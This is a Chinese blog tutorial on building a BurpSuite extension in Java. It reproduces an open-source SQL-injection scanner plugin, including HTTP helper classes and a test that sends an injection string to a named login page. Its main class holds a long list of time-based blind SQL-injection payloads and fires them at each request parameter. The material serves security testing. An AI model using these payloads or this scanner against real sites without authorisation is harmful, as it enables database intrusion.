yddchsc君
yddchsc君

BurpSuite插件开发

主要参考文章：

  • BurpSuite插件开发指南之 API 上篇
  • BurpSuite插件开发指南之 API 下篇
  • BurpSuite插件开发指南之Java篇
  • BurpSuite插件开发指南之 Python 篇

今天主要讲使用Java进行插件的开发。

开发步骤

从BurpSuite 程序中导出SDK包文件

BurpSuite插件开发_第1张图片
从BurpSuite 程序中导出SDK包文件

在myeclipse中创建一个Java project

创建一个Java project文件

BurpSuite插件开发_第2张图片
将导出的SDK包文件的文件夹放入src文件夹下

开始编程

这里主要使用了github上的一个开源项目的代码
项目对应的文章：【技术分享】Burp Suite插件开发之SQL注入检测（已开源）

BurpSuite插件开发_第3张图片
项目目录结构

** 重要代码和注释解析如下：**

  • Bsmali4Get.java
    • 一个作者自己编写的实现HTTP Get请求的类。
package bsmali4;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.http.Header;
import org.apache.http.HttpEntity;
import org.apache.http.NameValuePair;
import org.apache.http.StatusLine;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
import org.omg.CORBA.PUBLIC_MEMBER;

/*封装的http请求*/
public class Bsmali4Get {
    // 参数 1.ip 2.port 3.data
    private String url;
    private String parameters = "";
    private URL realUrl;
    private int TIMEOUT = 5000;
    private HttpGet httpget;
    private CloseableHttpClient httpclient;
    private CloseableHttpResponse httpresponse;
    private Map headersmap = new HashMap();
    /* 响应信息 */
    private StatusLine resstatus;
    private long reslen;
    private String rescontent;
    private Header[] resheader;

    public Bsmali4Get(String url) {
        this.url = url;
        httpclient = HttpClients.createDefault();
    }

    // 获得参数
    public String getGetparams() {
        return this.parameters;
    }

    // 获得url
    public String getUrl() {
        return this.url;
    }

    // 增加数据
    public void addData(String parameters) {
        if (parameters != null && !parameters.toString().trim().equals("")) {
            if (this.parameters.equals("")) {
                this.parameters = this.parameters + "?" + parameters;
            } else {
                this.parameters = this.parameters + "&" + parameters;
            }
        }
    }

    // 增加文件头,包含cookies
    public void addHeader(String key, String value) {
        this.headersmap.put(key, value);
    }

    // 添加header到http请求
    public void addHeadertoHttp() {
        Iterator> entries = this.headersmap
                .entrySet().iterator();
        while (entries.hasNext()) {
            Entry entry = entries.next();
            httpget.addHeader(entry.getKey(), entry.getValue());
        }
    }

    // 获得响应求内容
    public String getResContent() {
        return this.rescontent;
    }

    // 获得响应状态吗
    public StatusLine getResStatus() {
        return this.resstatus;
    }

    // 获得响应内容
    public long getResLen() {
        return this.reslen;
    }

    // 获取响应头
    public Header[] getResHeaders() {
        /*
         * for(Header h:heads){
         * System.out.println(h.getName()+":"+h.getValue()); }
         */
        return this.resheader;
    }

    // 提交请求
    public void doGet() {

        try {
            this.url = this.url + this.parameters;
            this.httpget = new HttpGet(this.url);
            this.addHeadertoHttp();
            this.httpresponse = httpclient.execute(httpget);
            // 获取响应内容 1.状态吗 2.响应httpheader 3.响应内容
            // 打印响应状态
            this.resheader = (Header[]) this.httpresponse.getAllHeaders();
            this.resstatus = this.httpresponse.getStatusLine();
            HttpEntity entity = this.httpresponse.getEntity();
            if (entity != null) {
                // 响应内容长度
                this.reslen = entity.getContentLength();
                // 响应内容
                this.rescontent = EntityUtils.toString(entity);
            }

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                this.httpresponse.close();
                this.httpclient.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

    }
}
  • Bsmali4Post.java
    • 一个作者自己编写的实现HTTP Post请求的类。
package bsmali4;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.http.*;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
import org.omg.CORBA.PUBLIC_MEMBER;

/*封装的http请求*/
public class Bsmali4Post {
    private String rescode;
    // 参数 1.ip 2.port 3.data
    private String url;
    private String parameters = "";
    private URL realUrl;
    private int TIMEOUT = 5000;
    private HttpPost httppost;
    private CloseableHttpClient httpclient;
    private CloseableHttpResponse httpresponse;
    private Map headersmap = new HashMap();
    // 提交请求参数
    public List postparams = new ArrayList();

    /* 响应信息 */
    private StatusLine resstatus;
    private long reslen;
    private String rescontent;
    private Header[] resheader;

    public Bsmali4Post(String url) {
        this.url = url;
        httpclient = HttpClients.createDefault();
    }
    //获得postparams
    public  List getPostparams()
    {
        return this.postparams;
    }
    
    // 增加数据
    public void addData(String key, String value) {
        if (key != null && !key.toString().trim().equals("") && value != null && !value.toString().trim().equals("")) {
            this.postparams.add(new BasicNameValuePair(key, value));
        }
    }

    // 增加文件头,包含cookies
    public void addHeader(String key, String value) {
        this.headersmap.put(key, value);
    }

    // 添加header到http请求
    public void addHeadertoHttp() {
        Iterator> entries = this.headersmap.entrySet().iterator();
        while (entries.hasNext()) {
            Entry entry = entries.next();
            httppost.addHeader(entry.getKey(), entry.getValue());
        }
    }

    // 增加数据到http请求
    public void addDatatoHttp() {
        if (this.postparams.size() > 0) {
            try {
                UrlEncodedFormEntity uefEntity = new UrlEncodedFormEntity(this.postparams, "UTF-8");
                this.httppost.setEntity(uefEntity);
            } catch (UnsupportedEncodingException e) {
                System.out.println("444");
                e.printStackTrace();
            }
        }
    }

    // 设置响应编码
    public void setResCode(String code) {
        if (code.equals("UTF-8") && code.equals("utf-8")) {
            this.rescode = "UTF-8";
        } else if (code.equals("GBK") && code.equals("gbk")) {
            this.rescode = "GBK";
        } else {
            this.rescode = "UTF-8";
        }
    }

    public String getResCode() {
        return this.rescode;
    }

    // 获得响应求内容
    public String getResContent() {
        return this.rescontent;
    }

    // 获得响应状态吗
    public StatusLine getResStatus() {
        return this.resstatus;
    }

    // 获得响应内容
    public long getResLen() {
        return this.reslen;
    }

    // 获取响应头
    public Header[] getResHeaders() {
        /*
         * for(Header h:heads){
         * System.out.println(h.getName()+":"+h.getValue()); }
         */
        return this.resheader;
    }

    // 提交请求
    public void doPost() {
        try {
            this.httppost = new HttpPost(this.url);
            this.addHeadertoHttp();
            this.addDatatoHttp();
            this.httpresponse = httpclient.execute(httppost);
            // 获取响应内容 1.状态吗 2.响应httpheader 3.响应内容
            // 打印响应状态
            this.resheader = (Header[]) this.httpresponse.getAllHeaders();
            this.resstatus = this.httpresponse.getStatusLine();
            HttpEntity entity = this.httpresponse.getEntity();
            if (entity != null) {
                // 响应内容长度
                this.reslen = entity.getContentLength();
                // 响应内容
                this.rescontent = EntityUtils.toString(entity, this.rescode);
            }

        } catch (Exception e) {
            e.printStackTrace();
            System.out.println("222");
        } finally {
            try {
                this.httpresponse.close();
                this.httpclient.close();
            } catch (IOException e) {
                System.out.println("333");
                e.printStackTrace();
            }
        }

    }
}
  • Main.java
  • 一个作者写的用来在myeclipse中测试前面两个类的主类。
package bsmali4;

import org.apache.http.Header;

public class Main {

    /**
     * @param args
     */
    public static void main(String[] args) {
        testPost();

    }

    // get请求
    public void testGet() {
        Bsmali4Get httpGet = new Bsmali4Get(
                "http://www.baidu.com");
        httpGet.doGet();
        System.out.println(httpGet.getResStatus());
        System.out.println(httpGet.getResLen());
        System.out.println(httpGet.getResContent());
        for (Header header : httpGet.getResHeaders()) {
            System.out.println(header.getName() + ":" + header.getValue());
        }
    }

    // post请求
    public static void testPost() {
        long startTime=System.currentTimeMillis();
        Bsmali4Post httpPost = new Bsmali4Post(
                "http://web.sycsec.com:80/a2274e0e500459f7/login.php");
        httpPost.addHeader("Accept-Encoding", "identity");
        httpPost.addData("username", "admin' xor sleep(1)#");
        httpPost.addData("password", "x");
        httpPost.addData("debug", "1");
        //httpPost.setResCode("utf-8");
        // httpPost.addHeader("redirect_to",
        // "http://www.codersec.net/wp-admin/&testcookie=1");
        httpPost.doPost();
        System.out.println(httpPost.getResStatus());
        System.out.println(httpPost.getResLen());
        System.out.println(httpPost.getResContent());
        for (Header header : httpPost.getResHeaders()) {
            System.out.println(header.getName() + ":" + header.getValue());
        }
        long endTime=System.currentTimeMillis();
        System.out.println((endTime - startTime));
    }
}
  • HttpParameter.java
  • 一个用来保存Http中的参数的类，代码如下：
package sqlinject;

public class HttpParameter {
    private String key;
    private String value;

    public HttpParameter(String key, String value) {
        this.key = key;//参数名
        this.value = value;//该参数对应的参数值
    }

    public String getKey() {
        return key;
    }

    public void setKey(String key) {
        this.key = key;
    }

    public String getValue() {
        return value;
    }

    public void setValue(String value) {
        this.value = value;
    }
}
  • SQLINJECT.java
    • 实现SQL注入检测的类，代码如下：
package sqlinject;

import java.util.List;

import org.apache.http.Header;
import org.apache.http.NameValuePair;
import org.omg.CORBA.PUBLIC_MEMBER;

import bsmali4.Bsmali4Get;
import bsmali4.Bsmali4Post;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;

import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;

public class SQLINJECT {
    static List payloads;
    static String cookies = "";
    static final int TIMEOUT = 5000;

    // 初始化payloads
    public static List initpayload(boolean refresh) {
        if (refresh) {
            payloads = null;
        }
        if (payloads != null)
            return payloads;
        else {
            payloads = new ArrayList();
            // payloads.add("' xor sleep()#");
            int timeout = 5;
            payloads.add("' and sleep(" + timeout + ")#");
            payloads.add("' xor sleep(" + timeout + ")#");
            payloads.add("' or sleep(" + timeout + ")");
            payloads.add("' and sleep(" + timeout + ")#");
            payloads.add("' xor sleep(" + timeout + ")#");
            payloads.add("' or sleep(" + timeout + ")#");
            payloads.add("' and sleep(" + timeout + ")--");
            payloads.add("' xor sleep(" + timeout + ")--");
            payloads.add("' or sleep(" + timeout + ")--");
            payloads.add("') and sleep(" + timeout + ") or ('a'='a");
            payloads.add("') xor sleep(" + timeout + ") or ('a'='a");
            payloads.add("') and sleep(" + timeout + ") or ('a'='a");
            payloads.add("^sleep(" + timeout + ")^'");
            payloads.add("'^sleep(" + timeout + ")^'");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("'^sleep(" + timeout + ")#");
            payloads.add("'^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("' or sleep(" + timeout + ") or '1'='1'--");
            payloads.add("' and sleep(" + timeout + ") or '1'='1'--");
            payloads.add("' xor sleep(" + timeout + ") or '1'='1'--");
            payloads.add("' or sleep(" + timeout + ") or ''='");
            payloads.add("\" or sleep(" + timeout + ") or \"\"=\"");
            payloads.add("\" sleep(" + timeout + ") or \"a\"=\"a");
            payloads.add("\" and sleep(" + timeout + ") or 1=1 --");
            payloads.add("' and sleep(" + timeout + ") or 1=1 --");
            payloads.add("' and sleep(" + timeout + ") or 'a'='a");
            payloads.add("') or sleep(" + timeout + ") or ('a'='a");
            payloads.add("\") or sleep(" + timeout + ") or (\"a\"=\"a");
            payloads.add("'admin' or sleep(" + timeout + ") or 'x'='x';");
            payloads.add(" and sleep(" + timeout + ")#");
            payloads.add(" xor sleep(" + timeout + ")#");
            payloads.add(" xor sleep(" + timeout + ")#");
            payloads.add(" or sleep(" + timeout + ")");
            payloads.add(" and sleep(" + timeout + ")#");
            payloads.add(" xor sleep(" + timeout + ")#");
            payloads.add(" or sleep(" + timeout + ")#");
            payloads.add(" and sleep(" + timeout + ")--");
            payloads.add(" xor sleep(" + timeout + ")--");
            payloads.add(" or sleep(" + timeout + ")--");
            payloads.add(") and sleep(" + timeout + ") or ('a'='a");
            payloads.add(") xor sleep(" + timeout + ") or ('a'='a");
            payloads.add(") and sleep(" + timeout + ") or ('a'='a");
            payloads.add("^sleep(" + timeout + ")^");
            payloads.add("^sleep(" + timeout + ")^'");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add(" or sleep(" + timeout + ") or '1'='1'--");
            payloads.add(" and sleep(" + timeout + ") or '1'='1'--");
            payloads.add(" xor sleep(" + timeout + ") or '1'='1'--");
            payloads.add(" or sleep(" + timeout + ") or ''='");
            payloads.add("%20xor%20sleep(" + timeout +")--");
            payloads.add("%27%20or%20sleep(" + timeout + ")%23");
            payloads.add("%27%20and%20sleep(" + timeout + ")--");
            payloads.add("%27%20xor%20sleep(" + timeout + ")--");
            payloads.add("%27%20or%20sleep(" + timeout + ")--");
            payloads.add("%27)%20and%20sleep(" + timeout + ")%20or%20(%27a%27=%27a");
            payloads.add("%27)%20xor%20sleep(" + timeout + ")%20or%20(%27a%27=%27a");
            payloads.add("%27)%20and%20sleep(" + timeout + ")%20or%20(%27a%27=%27a");
            payloads.add("^sleep(" + timeout + ")^%27");
            payloads.add("%27^sleep(" + timeout + ")^%27");
            payloads.add("^sleep(" + timeout + ")%23");
            payloads.add("%27^sleep(" + timeout + ")%23");
            payloads.add("%27^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("%27%20or%20sleep(" + timeout + ")%20or%20%271%27=%271%27--");
            payloads.add("%27%20and%20sleep(" + timeout + ")%20or%20%271%27=%271%27--");
            payloads.add("%27%20xor%20sleep(" + timeout + ")%20or%20%271%27=%271%27--");
            payloads.add("%27%20or%20sleep(" + timeout + ")%20or%20%27%27=%27");
            payloads.add("%22%20or%20sleep(" + timeout + ")%20or%20%22%22=%22");
            payloads.add("%22%20sleep(" + timeout + ")%20or%20%22a%22=%22a");
            payloads.add("%22%20and%20sleep(" + timeout + ")%20or%201=1 --");
            payloads.add("%27%20and%20sleep(" + timeout + ")%20or%201=1 --");
            payloads.add("%27%20and%20sleep(" + timeout + ")%20or%20%27a%27=%27a");
            payloads.add("%27)%20or%20sleep(" + timeout + ")%20or%20(%27a%27=%27a");
            payloads.add("%22)%20or%20sleep(" + timeout + ")%20or%20(%22a%22=%22a");
            payloads.add("%27admin%27%20or%20sleep(" + timeout + ")%20or%20%27x%27=%27x%27;");
            payloads.add("%20and%20sleep(" + timeout + ")#");
            payloads.add("%20xor%20sleep(" + timeout + ")#");
            payloads.add("%20xor%20sleep(" + timeout + ")#");
            payloads.add("%20or%20sleep(" + timeout + ")");
            payloads.add("%20and%20sleep(" + timeout + ")#");
            payloads.add("%20xor%20sleep(" + timeout + ")#");
            payloads.add("%20or%20sleep(" + timeout + ")#");
            payloads.add("%20and%20sleep(" + timeout + ")--");
            payloads.add("%20xor%20sleep(" + timeout + ")--");
            payloads.add("%20or%20sleep(" + timeout + ")--");
            payloads.add(")%20and%20sleep(" + timeout + ")%20or%20('a'='a");
            payloads.add(")%20xor%20sleep(" + timeout + ")%20or%20('a'='a");
            payloads.add(")%20and%20sleep(" + timeout + ")%20or%20('a'='a");
            payloads.add("^sleep(" + timeout + ")^");
            payloads.add("^sleep(" + timeout + ")^'");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("%20or%20sleep(" + timeout + ")%20or%20'1'='1'--");
            payloads.add("%20and%20sleep(" + timeout + ")%20or%20'1'='1'--");
            payloads.add("%20xor%20sleep(" + timeout + ")%20or%20'1'='1'--");
            payloads.add("%20or%20sleep(" + timeout + ")%20or%20''='");
            payloads.add("'/**/and/**/sleep("+ timeout + ")#");
            payloads.add("'/**/xor/**/sleep("+ timeout + ")#");
            payloads.add("'/**/or/**/sleep(" + timeout + ")");
            payloads.add("'/**/and/**/sleep(" + timeout + ")#");
            payloads.add("'/**/xor/**/sleep(" + timeout + ")#");
            payloads.add("'/**/or/**/sleep(" + timeout + ")#");
            payloads.add("'/**/and/**/sleep(" + timeout + ")--");
            payloads.add("'/**/xor/**/sleep(" + timeout + ")--");
            payloads.add("'/**/or/**/sleep(" + timeout + ")--");
            payloads.add("')/**/and/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("')/**/xor/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("')/**/and/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("^sleep(" + timeout + ")^'");
            payloads.add("'^sleep(" + timeout + ")^'");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("'^sleep(" + timeout + ")#");
            payloads.add("'^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("'/**/or/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("'/**/and/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("'/**/xor/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("'/**/or/**/sleep(" + timeout + ")/**/or/**/''='");
            payloads.add("\"/**/or/**/sleep(" + timeout + ")/**/or/**/\"\"=\"");
            payloads.add("\"/**/sleep(" + timeout + ")/**/or/**/\"a\"=\"a");
            payloads.add("\"/**/and/**/sleep(" + timeout + ")/**/or/**/1=1 --");
            payloads.add("'/**/and/**/sleep(" + timeout + ")/**/or/**/1=1 --");
            payloads.add("'/**/and/**/sleep(" + timeout + ")/**/or/**/'a'='a");
            payloads.add("')/**/or/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("\")/**/or/**/sleep(" + timeout + ")/**/or/**/(\"a\"=\"a");
            payloads.add("'admin'/**/or/**/sleep(" + timeout + ")/**/or/**/'x'='x';");
            payloads.add("/**/and/**/sleep(" + timeout + ")#");
            payloads.add("/**/xor/**/sleep(" + timeout + ")#");
            payloads.add("/**/xor/**/sleep(" + timeout + ")#");
            payloads.add("/**/or/**/sleep(" + timeout + ")");
            payloads.add("/**/and/**/sleep(" + timeout + ")#");
            payloads.add("/**/xor/**/sleep(" + timeout + ")#");
            payloads.add("/**/or/**/sleep(" + timeout + ")#");
            payloads.add("/**/and/**/sleep(" + timeout + ")--");
            payloads.add("/**/xor/**/sleep(" + timeout + ")--");
            payloads.add("/**/or/**/sleep(" + timeout + ")--");
            payloads.add(")/**/and/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add(")/**/and sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("/**/or/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("/**/and/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("/**/xor/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("/**/or/**/sleep(" + timeout + ")/**/or/**/''='");
            return payloads;
        }
    }

    public static void checkPostSqlinject(
            IHttpRequestResponse baseRequestResponse,
            IExtensionHelpers helpers, PrintWriter stdout) {
        /* 初始化payload */
        initpayload(false);
        /* 构造，并且发送payload */
        List headerStrings = new ArrayList();
        List parameters = new ArrayList();
        List Httpparameter = new ArrayList();// 参数list
        URL url = helpers.analyzeRequest(baseRequestResponse).getUrl();
        headerStrings = helpers.analyzeRequest(baseRequestResponse)
                .getHeaders();
        parameters = helpers.analyzeRequest(baseRequestResponse)
                .getParameters();
        stdout.println("coded by bsmali4");
        for (String header : headerStrings) {
            if (header.contains(":")) {
                String[] headerArrayStrings = header.split(":");
                if (headerArrayStrings[0].trim().equals("Cookie")) {
                    cookies = headerArrayStrings[1];
                }
            }
        }
        // 获取参数
        for (IParameter parameter : parameters) {
            if (cookies != null && !cookies.trim().equals("")) {
                if (!cookies.contains(parameter.getName())) {
                    Httpparameter.add(new HttpParameter(parameter.getName(),
                            parameter.getValue()));
                }
            } else {
                Httpparameter.add(new HttpParameter(parameter.getName(),
                        parameter.getValue()));
            }

        }

        for (String payload : payloads) {
            for (int i = 0; i < Httpparameter.size(); i++) {
                final Bsmali4Post httpPost = new Bsmali4Post(url.toString());
                // HEADER
                for (String header : headerStrings) {
                    if (header.contains(":")) {
                        String[] headerArrayStrings = header.split(":");
                        if (headerArrayStrings[0].trim().equals("User-Agent")) {
                            httpPost.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        } else if (headerArrayStrings[0].trim()
                                .equals("Accept")) {
                            httpPost.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        } else if (headerArrayStrings[0].trim().equals(
                                "Accept-Language")) {
                            httpPost.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        } else if (headerArrayStrings[0].trim().equals(
                                "Accept-Encoding")) {
                            httpPost.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        } else if (headerArrayStrings[0].trim()
                                .equals("Cookie")) {
                            httpPost.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        }
                    }
                }
                for (int j = 0; j < Httpparameter.size(); j++) {
                    if (i == j) {
                        httpPost.addData(Httpparameter.get(j).getKey(),
                                Httpparameter.get(j).getValue() + payload);
                    } else {
                        httpPost.addData(Httpparameter.get(j).getKey(),
                                Httpparameter.get(j).getValue());
                    }
                }
                long startTime = System.currentTimeMillis();
                // stdout.println("====start=====");
                Thread t1 = new Thread() {
                    public void run() {
                        httpPost.doPost();
                    };
                };
                t1.start();
                try {
                    t1.join();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                //stdout.println(httpPost.getResContent());
                long endTime = System.currentTimeMillis();
                if ((endTime - startTime) > TIMEOUT) {
                    stdout.println("===========================================");
                    stdout.println("=========this**found**a**sqlinject=========");
                    for (String header : headerStrings) {
                        stdout.println(header);
                    }
                    for (NameValuePair parameter : httpPost.getPostparams()) {
                        stdout.println(parameter.getName() + ":"
                                + parameter.getValue());
                    }
                    stdout.println("===========================================");
                    stdout.println();
                    // stdout.println(httpPost.getResContent());
                }
            }
        }

    }

    public static void checkGetSqlinject(
            IHttpRequestResponse baseRequestResponse,
            IExtensionHelpers helpers, PrintWriter stdout) {
        /* 初始化payload */
        initpayload(false);
        /* 构造，并且发送payload */
        List headerStrings = new ArrayList();
        List parameters = new ArrayList();
        List Httpparameter = new ArrayList();// 参数list
        URL httpurl = helpers.analyzeRequest(baseRequestResponse).getUrl();
        headerStrings = helpers.analyzeRequest(baseRequestResponse)
                .getHeaders();
        parameters = helpers.analyzeRequest(baseRequestResponse)
                .getParameters();
        /* 发送get包 */
        stdout.println("coded by bsmali4");
        for (String header : headerStrings) {
            if (header.contains(":")) {
                String[] headerArrayStrings = header.split(":");
                if (headerArrayStrings[0].trim().equals("Cookie")) {
                    cookies = headerArrayStrings[1];
                }
            }
        }
        //stdout.println(cookies);
        // 获取参数
        for (IParameter parameter : parameters) {
            if (cookies != null && !cookies.trim().equals("")) {
                if (!cookies.contains(parameter.getName())) {
                    Httpparameter.add(new HttpParameter(parameter.getName(),
                            parameter.getValue()));
                }
            } else {
                Httpparameter.add(new HttpParameter(parameter.getName(),
                        parameter.getValue()));
            }

        }
        
        for (String payload : payloads) {
            for (int i = 0; i < Httpparameter.size(); i++) {
                int endindex = httpurl.toString().indexOf("?");
                if (endindex == -1)
                    return;
                String url = httpurl.toString().substring(0, endindex);                             
                final Bsmali4Get httpGet = new Bsmali4Get(url.toString());
                // HEADER               
                for (String header : headerStrings) {
                    if (header.contains(":")) {
                        String[] headerArrayStrings = header.split(":");
                        if (headerArrayStrings[0].trim().equals("User-Agent")) {
                            httpGet.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        } else if (headerArrayStrings[0].trim()
                                .equals("Accept")) {
                            httpGet.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        } else if (headerArrayStrings[0].trim().equals(
                                "Accept-Language")) {
                            httpGet.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        } else if (headerArrayStrings[0].trim().equals(
                                "Accept-Encoding")) {
                            httpGet.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        } else if (headerArrayStrings[0].trim()
                                .equals("Cookie")) {
                            httpGet.addHeader(headerArrayStrings[0],
                                    headerArrayStrings[1]);
                        }
                    }
                }           
                for (int j = 0; j < Httpparameter.size(); j++) {
                    if (i == j) {
                        httpGet.addData(Httpparameter.get(j).getKey() + "=" + Httpparameter.get(j).getValue() + payload);
                    } else {
                        httpGet.addData(Httpparameter.get(j).getKey() + "=" + Httpparameter.get(j).getValue());
                    }
                }
                long startTime = System.currentTimeMillis();
                // stdout.println("====start=====");
                Thread t1 = new Thread() {
                    public void run() {
                        httpGet.doGet();
                    };
                };
                t1.start();
                try {
                    t1.join();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                //stdout.println(httpGet.getResContent());
                long endTime = System.currentTimeMillis();
                if ((endTime - startTime) > TIMEOUT) {
                    stdout.println("===========================================");
                    stdout.println("=========this**found**a**sqlinject=========");
                    for (String header : headerStrings) {
                        stdout.println(header);
                    }                   
                        stdout.println(httpGet.getGetparams());
                    stdout.println("===========================================");
                    stdout.println();
                    // stdout.println(httpPost.getResContent());
                }
            }

    }

    }
}
  • FuzzVul.java
    • 使用BurpSuite提供的API来获取http请求的参数等，使用SQLINJECT类提供的方法来进行SQL注入检测。
package bsmali4;

import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;

import sqlinject.SQLINJECT;
import sqlinject.SQLINJECT_BAKS;

import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;

public class FuzzVul {

    public static void checkPost(IHttpRequestResponse baseRequestResponse,
            IExtensionHelpers helpers, PrintWriter stdout) {
        List headerStrings = new ArrayList();
        List parameters = new ArrayList();
        URL url = helpers.analyzeRequest(baseRequestResponse).getUrl();
        byte contenttype = helpers.analyzeRequest(baseRequestResponse)
                .getContentType();
        headerStrings = helpers.analyzeRequest(baseRequestResponse)
                .getHeaders();
        parameters = helpers.analyzeRequest(baseRequestResponse)
                .getParameters();
        // stdout.println(url.toString());
        // stdout.println(contenttype);
        // stdout.println(helpers.analyzeRequest(baseRequestResponse).getMethod());
        // stdout.println(headerStrings);
        // print 函数
        /*
         * for (int i = 0; i < parameters.size(); i++) { IParameter parameter =
         * parameters.get(i); stdout.println(parameter.getName() + ":" +
         * parameter.getValue()); }
         */
        switch (contenttype) {
        case IRequestInfo.CONTENT_TYPE_URL_ENCODED:
            checkURLENCODEDPost(baseRequestResponse, helpers, stdout);
            break;

        default:
            break;
        }

    }

    /* 根据post内容的类型来分工 */
    /* AMF类型 */
    private static void checkAMFPost() {

    }

    /* JSON类型 */
    private static void checkJSONPost() {

    }

    /* MULTIPART类型 */
    private static void checkMULTIPARTPost() {

    }

    /* NONE类型 */
    private static void checkNONEPost() {

    }

    /* UNKNOWN类型 */
    private static void checkUNKNOWNPost(
            IHttpRequestResponse baseRequestResponse,
            IExtensionHelpers helpers, PrintWriter stdout) {
        // SQLINJECT.checkPostSqlinject(baseRequestResponse, helpers, stdout);
        // SQLINJECT.checkPostSqlinject(baseRequestResponse, helpers, stdout);

    }

    /* URL_ENCODED类型 */
    private static void checkURLENCODEDPost(
            IHttpRequestResponse baseRequestResponse,
            IExtensionHelpers helpers, PrintWriter stdout) {
        SQLINJECT.checkPostSqlinject(baseRequestResponse, helpers, stdout);
    }

    /* XML类型 */
    private static void checkXMLPost() {

    }

    /* 检查get方法 */
    public static void checkGet(IHttpRequestResponse baseRequestResponse,
            IExtensionHelpers helpers, PrintWriter stdout) {
        List headerStrings = new ArrayList();
        List parameters = new ArrayList();
        URL url = helpers.analyzeRequest(baseRequestResponse).getUrl();
        byte contenttype = helpers.analyzeRequest(baseRequestResponse)
                .getContentType();
        headerStrings = helpers.analyzeRequest(baseRequestResponse)
                .getHeaders();
        parameters = helpers.analyzeRequest(baseRequestResponse)
                .getParameters();
        //stdout.println(url.toString());
        //stdout.println(contenttype);
        //stdout.println(helpers.analyzeRequest(baseRequestResponse).getMethod());
        //stdout.println(headerStrings);
        /*
         * print 函数 for (int i = 0; i < parameters.size(); i++) { IParameter
         * parameter = parameters.get(i); stdout.println(parameter.getName() +
         * ":" + parameter.getValue()); }
         */
        switch (contenttype) {
        case IRequestInfo.CONTENT_TYPE_URL_ENCODED:
            checkURLENCODEDGet(baseRequestResponse, helpers, stdout);
            break;
        case IRequestInfo.CONTENT_TYPE_NONE:
            checkUNKNOWNGet(baseRequestResponse, helpers, stdout);
            break;
        default:
            break;
        }
    }

    /* 根据get内容的类型来分工 */
    /* AMF类型 */
    private static void checkAMFGet() {

    }

    /* JSON类型 */
    private static void checkJSONGet() {

    }

    /* MULTIPART类型 */
    private static void checkMULTIPARTGet() {

    }

    /* NONE类型 */
    private static void checkNONEGet() {

    }

    /* UNKNOWN类型 */
    private static void checkUNKNOWNGet(
            IHttpRequestResponse baseRequestResponse,
            IExtensionHelpers helpers, PrintWriter stdout) {
        SQLINJECT.checkGetSqlinject(baseRequestResponse, helpers, stdout);
    }

    /* URL_ENCODED类型 */
    private static void checkURLENCODEDGet(
            IHttpRequestResponse baseRequestResponse,
            IExtensionHelpers helpers, PrintWriter stdout) {
        SQLINJECT.checkGetSqlinject(baseRequestResponse, helpers, stdout);
    }

    /* XML类型 */
    private static void checkXMLGet() {

    }

}
  • IExtensionHelpers接口
BurpSuite插件开发_第4张图片
IExtensionHelpers接口
  • IHttpRequestResponse接口
BurpSuite插件开发_第5张图片
